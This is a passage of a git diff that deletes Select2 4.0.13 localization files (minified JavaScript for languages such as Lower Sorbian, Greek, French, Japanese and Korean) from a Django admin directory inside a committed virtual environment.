Elemente"}}}),e.define,e.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/dsb.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/dsb.js deleted file mode 100644 index 02f283ab..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/dsb.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/dsb",[],function(){var n=["znamuško","znamušce","znamuška","znamuškow"],e=["zapisk","zapiska","zapiski","zapiskow"],u=function(n,e){return 1===n?e[0]:2===n?e[1]:n>2&&n<=4?e[2]:n>=5?e[3]:void 0};return{errorLoading:function(){return"Wuslědki njejsu se dali zacytaś."},inputTooLong:function(e){var a=e.input.length-e.maximum;return"Pšosym lašuj "+a+" "+u(a,n)},inputTooShort:function(e){var a=e.minimum-e.input.length;return"Pšosym zapódaj nanejmjenjej "+a+" "+u(a,n)},loadingMore:function(){return"Dalšne wuslědki se zacytaju…"},maximumSelected:function(n){return"Móžoš jano "+n.maximum+" "+u(n.maximum,e)+"wubraś."},noResults:function(){return"Žedne wuslědki namakane"},searching:function(){return"Pyta se…"},removeAllItems:function(){return"Remove all items"}}}),n.define,n.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/el.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/el.js deleted file mode 100644 index d4922a1d..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/el.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/el",[],function(){return{errorLoading:function(){return"Τα αποτελέσματα δεν μπόρεσαν να φορτώσουν."},inputTooLong:function(n){var e=n.input.length-n.maximum,u="Παρακαλώ διαγράψτε "+e+" χαρακτήρ";return 1==e&&(u+="α"),1!=e&&(u+="ες"),u},inputTooShort:function(n){return"Παρακαλώ συμπληρώστε "+(n.minimum-n.input.length)+" ή περισσότερους χαρακτήρες"},loadingMore:function(){return"Φόρτωση περισσότερων αποτελεσμάτων…"},maximumSelected:function(n){var e="Μπορείτε να επιλέξετε μόνο "+n.maximum+" επιλογ";return 1==n.maximum&&(e+="ή"),1!=n.maximum&&(e+="ές"),e},noResults:function(){return"Δεν βρέθηκαν αποτελέσματα"},searching:function(){return"Αναζήτηση…"},removeAllItems:function(){return"Καταργήστε όλα τα στοιχεία"}}}),n.define,n.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/en.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/en.js deleted file mode 100644 index 3b192857..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/en.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/en",[],function(){return{errorLoading:function(){return"The results could not be loaded."},inputTooLong:function(e){var n=e.input.length-e.maximum,r="Please delete "+n+" character";return 1!=n&&(r+="s"),r},inputTooShort:function(e){return"Please enter "+(e.minimum-e.input.length)+" or more characters"},loadingMore:function(){return"Loading more results…"},maximumSelected:function(e){var n="You can only select "+e.maximum+" item";return 1!=e.maximum&&(n+="s"),n},noResults:function(){return"No results found"},searching:function(){return"Searching…"},removeAllItems:function(){return"Remove all items"}}}),e.define,e.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/es.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/es.js deleted file mode 100644 index 68afd6d2..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/es.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/es",[],function(){return{errorLoading:function(){return"No se pudieron cargar los resultados"},inputTooLong:function(e){var n=e.input.length-e.maximum,r="Por favor, elimine "+n+" car";return r+=1==n?"ácter":"acteres"},inputTooShort:function(e){var n=e.minimum-e.input.length,r="Por favor, introduzca "+n+" car";return r+=1==n?"ácter":"acteres"},loadingMore:function(){return"Cargando más resultados…"},maximumSelected:function(e){var n="Sólo puede seleccionar "+e.maximum+" elemento";return 1!=e.maximum&&(n+="s"),n},noResults:function(){return"No se encontraron resultados"},searching:function(){return"Buscando…"},removeAllItems:function(){return"Eliminar todos los elementos"}}}),e.define,e.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/et.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/et.js deleted file mode 100644 index 070b61a2..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/et.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/et",[],function(){return{inputTooLong:function(e){var n=e.input.length-e.maximum,t="Sisesta "+n+" täht";return 1!=n&&(t+="e"),t+=" vähem"},inputTooShort:function(e){var n=e.minimum-e.input.length,t="Sisesta "+n+" täht";return 1!=n&&(t+="e"),t+=" rohkem"},loadingMore:function(){return"Laen tulemusi…"},maximumSelected:function(e){var n="Saad vaid "+e.maximum+" tulemus";return 1==e.maximum?n+="e":n+="t",n+=" valida"},noResults:function(){return"Tulemused puuduvad"},searching:function(){return"Otsin…"},removeAllItems:function(){return"Eemalda kõik esemed"}}}),e.define,e.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/eu.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/eu.js deleted file mode 100644 index 90d5e73f..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/eu.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/eu",[],function(){return{inputTooLong:function(e){var t=e.input.length-e.maximum,n="Idatzi ";return n+=1==t?"karaktere bat":t+" karaktere",n+=" gutxiago"},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Idatzi ";return n+=1==t?"karaktere bat":t+" karaktere",n+=" gehiago"},loadingMore:function(){return"Emaitza gehiago kargatzen…"},maximumSelected:function(e){return 1===e.maximum?"Elementu bakarra hauta dezakezu":e.maximum+" elementu hauta ditzakezu soilik"},noResults:function(){return"Ez da bat datorrenik aurkitu"},searching:function(){return"Bilatzen…"},removeAllItems:function(){return"Kendu elementu guztiak"}}}),e.define,e.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/fa.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/fa.js deleted file mode 100644 index e1ffdbed..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/fa.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/fa",[],function(){return{errorLoading:function(){return"امکان بارگذاری نتایج وجود ندارد."},inputTooLong:function(n){return"لطفاً "+(n.input.length-n.maximum)+" کاراکتر را حذف نمایید"},inputTooShort:function(n){return"لطفاً تعداد "+(n.minimum-n.input.length)+" کاراکتر یا بیشتر وارد نمایید"},loadingMore:function(){return"در حال بارگذاری نتایج بیشتر..."},maximumSelected:function(n){return"شما تنها می‌توانید "+n.maximum+" آیتم را انتخاب نمایید"},noResults:function(){return"هیچ نتیجه‌ای یافت نشد"},searching:function(){return"در حال جستجو..."},removeAllItems:function(){return"همه موارد را حذف کنید"}}}),n.define,n.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/fi.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/fi.js deleted file mode 100644 index ffed1247..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/fi.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/fi",[],function(){return{errorLoading:function(){return"Tuloksia ei saatu ladattua."},inputTooLong:function(n){return"Ole hyvä ja anna "+(n.input.length-n.maximum)+" merkkiä vähemmän"},inputTooShort:function(n){return"Ole hyvä ja anna "+(n.minimum-n.input.length)+" merkkiä lisää"},loadingMore:function(){return"Ladataan lisää tuloksia…"},maximumSelected:function(n){return"Voit valita ainoastaan "+n.maximum+" kpl"},noResults:function(){return"Ei tuloksia"},searching:function(){return"Haetaan…"},removeAllItems:function(){return"Poista kaikki kohteet"}}}),n.define,n.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/fr.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/fr.js deleted file mode 100644 index dd02f973..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/fr.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/fr",[],function(){return{errorLoading:function(){return"Les résultats ne peuvent pas être chargés."},inputTooLong:function(e){var n=e.input.length-e.maximum;return"Supprimez "+n+" caractère"+(n>1?"s":"")},inputTooShort:function(e){var n=e.minimum-e.input.length;return"Saisissez au moins "+n+" caractère"+(n>1?"s":"")},loadingMore:function(){return"Chargement de résultats supplémentaires…"},maximumSelected:function(e){return"Vous pouvez seulement sélectionner "+e.maximum+" élément"+(e.maximum>1?"s":"")},noResults:function(){return"Aucun résultat trouvé"},searching:function(){return"Recherche en cours…"},removeAllItems:function(){return"Supprimer tous les éléments"}}}),e.define,e.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/gl.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/gl.js deleted file mode 100644 index 208a0057..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/gl.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/gl",[],function(){return{errorLoading:function(){return"Non foi posíbel cargar os resultados."},inputTooLong:function(e){var n=e.input.length-e.maximum;return 1===n?"Elimine un carácter":"Elimine "+n+" caracteres"},inputTooShort:function(e){var n=e.minimum-e.input.length;return 1===n?"Engada un carácter":"Engada "+n+" caracteres"},loadingMore:function(){return"Cargando máis resultados…"},maximumSelected:function(e){return 1===e.maximum?"Só pode seleccionar un elemento":"Só pode seleccionar "+e.maximum+" elementos"},noResults:function(){return"Non se atoparon resultados"},searching:function(){return"Buscando…"},removeAllItems:function(){return"Elimina todos os elementos"}}}),e.define,e.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/he.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/he.js deleted file mode 100644 index 25a8805a..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/he.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/he",[],function(){return{errorLoading:function(){return"שגיאה בטעינת התוצאות"},inputTooLong:function(n){var e=n.input.length-n.maximum,r="נא למחוק ";return r+=1===e?"תו אחד":e+" תווים"},inputTooShort:function(n){var e=n.minimum-n.input.length,r="נא להכניס ";return r+=1===e?"תו אחד":e+" תווים",r+=" או יותר"},loadingMore:function(){return"טוען תוצאות נוספות…"},maximumSelected:function(n){var e="באפשרותך לבחור עד ";return 1===n.maximum?e+="פריט אחד":e+=n.maximum+" פריטים",e},noResults:function(){return"לא נמצאו תוצאות"},searching:function(){return"מחפש…"},removeAllItems:function(){return"הסר את כל הפריטים"}}}),n.define,n.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/hi.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/hi.js deleted file mode 100644 index f3ed7984..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/hi.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/hi",[],function(){return{errorLoading:function(){return"परिणामों को लोड नहीं किया जा सका।"},inputTooLong:function(n){var e=n.input.length-n.maximum,r=e+" अक्षर को हटा दें";return e>1&&(r=e+" अक्षरों को हटा दें "),r},inputTooShort:function(n){return"कृपया "+(n.minimum-n.input.length)+" या अधिक अक्षर दर्ज करें"},loadingMore:function(){return"अधिक परिणाम लोड हो रहे है..."},maximumSelected:function(n){return"आप केवल "+n.maximum+" आइटम का चयन कर सकते हैं"},noResults:function(){return"कोई परिणाम नहीं मिला"},searching:function(){return"खोज रहा है..."},removeAllItems:function(){return"सभी वस्तुओं को हटा दें"}}}),n.define,n.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/hr.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/hr.js deleted file mode 100644 index cb3268db..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/hr.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/hr",[],function(){function n(n){var e=" "+n+" znak";return n%10<5&&n%10>0&&(n%100<5||n%100>19)?n%10>1&&(e+="a"):e+="ova",e}return{errorLoading:function(){return"Preuzimanje nije uspjelo."},inputTooLong:function(e){return"Unesite "+n(e.input.length-e.maximum)},inputTooShort:function(e){return"Unesite još "+n(e.minimum-e.input.length)},loadingMore:function(){return"Učitavanje rezultata…"},maximumSelected:function(n){return"Maksimalan broj odabranih stavki je "+n.maximum},noResults:function(){return"Nema rezultata"},searching:function(){return"Pretraga…"},removeAllItems:function(){return"Ukloni sve stavke"}}}),n.define,n.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/hsb.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/hsb.js deleted file mode 100644 index 3d5bf09d..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/hsb.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/hsb",[],function(){var n=["znamješko","znamješce","znamješka","znamješkow"],e=["zapisk","zapiskaj","zapiski","zapiskow"],u=function(n,e){return 1===n?e[0]:2===n?e[1]:n>2&&n<=4?e[2]:n>=5?e[3]:void 0};return{errorLoading:function(){return"Wuslědki njedachu so začitać."},inputTooLong:function(e){var a=e.input.length-e.maximum;return"Prošu zhašej "+a+" "+u(a,n)},inputTooShort:function(e){var a=e.minimum-e.input.length;return"Prošu zapodaj znajmjeńša "+a+" "+u(a,n)},loadingMore:function(){return"Dalše wuslědki so začitaja…"},maximumSelected:function(n){return"Móžeš jenož "+n.maximum+" "+u(n.maximum,e)+"wubrać"},noResults:function(){return"Žane wuslědki namakane"},searching:function(){return"Pyta so…"},removeAllItems:function(){return"Remove all items"}}}),n.define,n.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/hu.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/hu.js deleted file mode 100644 index 4893aa2f..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/hu.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/hu",[],function(){return{errorLoading:function(){return"Az eredmények betöltése nem sikerült."},inputTooLong:function(e){return"Túl hosszú. "+(e.input.length-e.maximum)+" karakterrel több, mint kellene."},inputTooShort:function(e){return"Túl rövid. Még "+(e.minimum-e.input.length)+" karakter hiányzik."},loadingMore:function(){return"Töltés…"},maximumSelected:function(e){return"Csak "+e.maximum+" elemet lehet kiválasztani."},noResults:function(){return"Nincs találat."},searching:function(){return"Keresés…"},removeAllItems:function(){return"Távolítson el minden elemet"}}}),e.define,e.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/hy.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/hy.js deleted file mode 100644 index 82300071..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/hy.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/hy",[],function(){return{errorLoading:function(){return"Արդյունքները հնարավոր չէ բեռնել։"},inputTooLong:function(n){return"Խնդրում ենք հեռացնել "+(n.input.length-n.maximum)+" նշան"},inputTooShort:function(n){return"Խնդրում ենք մուտքագրել "+(n.minimum-n.input.length)+" կամ ավել նշաններ"},loadingMore:function(){return"Բեռնվում են նոր արդյունքներ․․․"},maximumSelected:function(n){return"Դուք կարող եք ընտրել առավելագույնը "+n.maximum+" կետ"},noResults:function(){return"Արդյունքներ չեն գտնվել"},searching:function(){return"Որոնում․․․"},removeAllItems:function(){return"Հեռացնել բոլոր տարրերը"}}}),n.define,n.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/id.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/id.js deleted file mode 100644 index 4a0b3bf0..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/id.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/id",[],function(){return{errorLoading:function(){return"Data tidak boleh diambil."},inputTooLong:function(n){return"Hapuskan "+(n.input.length-n.maximum)+" huruf"},inputTooShort:function(n){return"Masukkan "+(n.minimum-n.input.length)+" huruf lagi"},loadingMore:function(){return"Mengambil data…"},maximumSelected:function(n){return"Anda hanya dapat memilih "+n.maximum+" pilihan"},noResults:function(){return"Tidak ada data yang sesuai"},searching:function(){return"Mencari…"},removeAllItems:function(){return"Hapus semua item"}}}),n.define,n.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/is.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/is.js deleted file mode 100644 index cca5bbec..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/is.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/is",[],function(){return{inputTooLong:function(n){var t=n.input.length-n.maximum,e="Vinsamlegast styttið texta um "+t+" staf";return t<=1?e:e+"i"},inputTooShort:function(n){var t=n.minimum-n.input.length,e="Vinsamlegast skrifið "+t+" staf";return t>1&&(e+="i"),e+=" í viðbót"},loadingMore:function(){return"Sæki fleiri niðurstöður…"},maximumSelected:function(n){return"Þú getur aðeins valið "+n.maximum+" atriði"},noResults:function(){return"Ekkert fannst"},searching:function(){return"Leita…"},removeAllItems:function(){return"Fjarlægðu öll atriði"}}}),n.define,n.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/it.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/it.js deleted file mode 100644 index 507c7d9f..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/it.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/it",[],function(){return{errorLoading:function(){return"I risultati non possono essere caricati."},inputTooLong:function(e){var n=e.input.length-e.maximum,t="Per favore cancella "+n+" caratter";return t+=1!==n?"i":"e"},inputTooShort:function(e){return"Per favore inserisci "+(e.minimum-e.input.length)+" o più caratteri"},loadingMore:function(){return"Caricando più risultati…"},maximumSelected:function(e){var n="Puoi selezionare solo "+e.maximum+" element";return 1!==e.maximum?n+="i":n+="o",n},noResults:function(){return"Nessun risultato trovato"},searching:function(){return"Sto cercando…"},removeAllItems:function(){return"Rimuovi tutti gli oggetti"}}}),e.define,e.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/ja.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/ja.js deleted file mode 100644 index 451025e2..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/ja.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/ja",[],function(){return{errorLoading:function(){return"結果が読み込まれませんでした"},inputTooLong:function(n){return n.input.length-n.maximum+" 文字を削除してください"},inputTooShort:function(n){return"少なくとも "+(n.minimum-n.input.length)+" 文字を入力してください"},loadingMore:function(){return"読み込み中…"},maximumSelected:function(n){return n.maximum+" 件しか選択できません"},noResults:function(){return"対象が見つかりません"},searching:function(){return"検索しています…"},removeAllItems:function(){return"すべてのアイテムを削除"}}}),n.define,n.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/ka.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/ka.js deleted file mode 100644 index 60c593b7..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/ka.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/ka",[],function(){return{errorLoading:function(){return"მონაცემების ჩატვირთვა შეუძლებელია."},inputTooLong:function(n){return"გთხოვთ აკრიფეთ "+(n.input.length-n.maximum)+" სიმბოლოთი ნაკლები"},inputTooShort:function(n){return"გთხოვთ აკრიფეთ "+(n.minimum-n.input.length)+" სიმბოლო ან მეტი"},loadingMore:function(){return"მონაცემების ჩატვირთვა…"},maximumSelected:function(n){return"თქვენ შეგიძლიათ აირჩიოთ არაუმეტეს "+n.maximum+" ელემენტი"},noResults:function(){return"რეზულტატი არ მოიძებნა"},searching:function(){return"ძიება…"},removeAllItems:function(){return"ამოიღე ყველა ელემენტი"}}}),n.define,n.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/km.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/km.js deleted file mode 100644 index 4dca94f4..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/km.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/km",[],function(){return{errorLoading:function(){return"មិនអាចទាញយកទិន្នន័យ"},inputTooLong:function(n){return"សូមលុបចេញ "+(n.input.length-n.maximum)+" អក្សរ"},inputTooShort:function(n){return"សូមបញ្ចូល"+(n.minimum-n.input.length)+" អក្សរ រឺ ច្រើនជាងនេះ"},loadingMore:function(){return"កំពុងទាញយកទិន្នន័យបន្ថែម..."},maximumSelected:function(n){return"អ្នកអាចជ្រើសរើសបានតែ "+n.maximum+" ជម្រើសប៉ុណ្ណោះ"},noResults:function(){return"មិនមានលទ្ធផល"},searching:function(){return"កំពុងស្វែងរក..."},removeAllItems:function(){return"លុបធាតុទាំងអស់"}}}),n.define,n.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/ko.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/ko.js deleted file mode 100644 index f2880fb0..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/ko.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/ko",[],function(){return{errorLoading:function(){return"결과를 불러올 수 없습니다."},inputTooLong:function(n){return"너무 깁니다. "+(n.input.length-n.maximum)+" 글자 지워주세요."},inputTooShort:function(n){return"너무 짧습니다. "+(n.minimum-n.input.length)+" 글자 더 입력해주세요."},loadingMore:function(){return"불러오는 중…"},maximumSelected:function(n){return"최대 "+n.maximum+"개까지만 선택 가능합니다."},noResults:function(){return"결과가 없습니다."},searching:function(){return"검색 중…"},removeAllItems:function(){return"모든 항목 삭제"}}}),n.define,n.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/lt.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/lt.js deleted file mode 100644 index f6a42155..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/lt.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var 